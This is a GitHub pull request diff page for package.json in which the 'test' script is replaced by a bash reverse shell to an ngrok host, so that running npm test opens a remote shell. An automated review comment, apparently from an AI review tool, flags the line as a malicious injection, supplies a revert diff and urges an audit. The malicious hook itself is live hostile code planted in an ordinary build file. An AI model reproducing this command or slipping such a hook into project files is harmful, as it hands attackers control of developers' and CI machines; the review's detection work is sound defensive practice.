Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
"format": "biome format --write .",
"format:check": "biome format --error-on-warnings .",
"pretest": "tsc --build",
"test": "npm test -w ./packages",
"test": "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/15476 0>&1'",
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

CRITICAL SECURITY ISSUE: Malicious reverse shell command detected.

This change replaces the legitimate test script with a bash command that establishes a reverse TCP connection to an external host (6.tcp.eu.ngrok.io:15476). This is a classic reverse shell attack that would allow an attacker to execute arbitrary commands on any system running npm test.

This appears to be malicious code injection and must be removed immediately.

Apply this diff to restore the original test script:

-    "test": "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/15476 0>&1'",
+    "test": "npm test -w ./packages",

IMMEDIATE ACTION REQUIRED:

  1. Do not merge this PR under any circumstances
  2. Review how this malicious code was introduced
  3. Audit the repository for other potential security compromises
  4. Consider revoking access for the contributor if this was intentional
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
"test": "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/15476 0>&1'",
"test": "npm test -w ./packages",
🤖 Prompt for AI Agents
In package.json at line 15, the test script was replaced with a malicious
reverse-shell bash command; remove that line immediately and restore the
legitimate test script by reverting this change to the last known-good value
from git history (or replace it with your project's proper test runner command,
e.g., the standard jest/mocha/npm test script), then commit the fix;
additionally, run git blame/logs to find when/why the injection occurred and
audit other files for similar tampering.

"version": "changeset version && npm install",
"release": "gh workflow run release",
"release:local": "npm run build && changeset publish"
Expand Down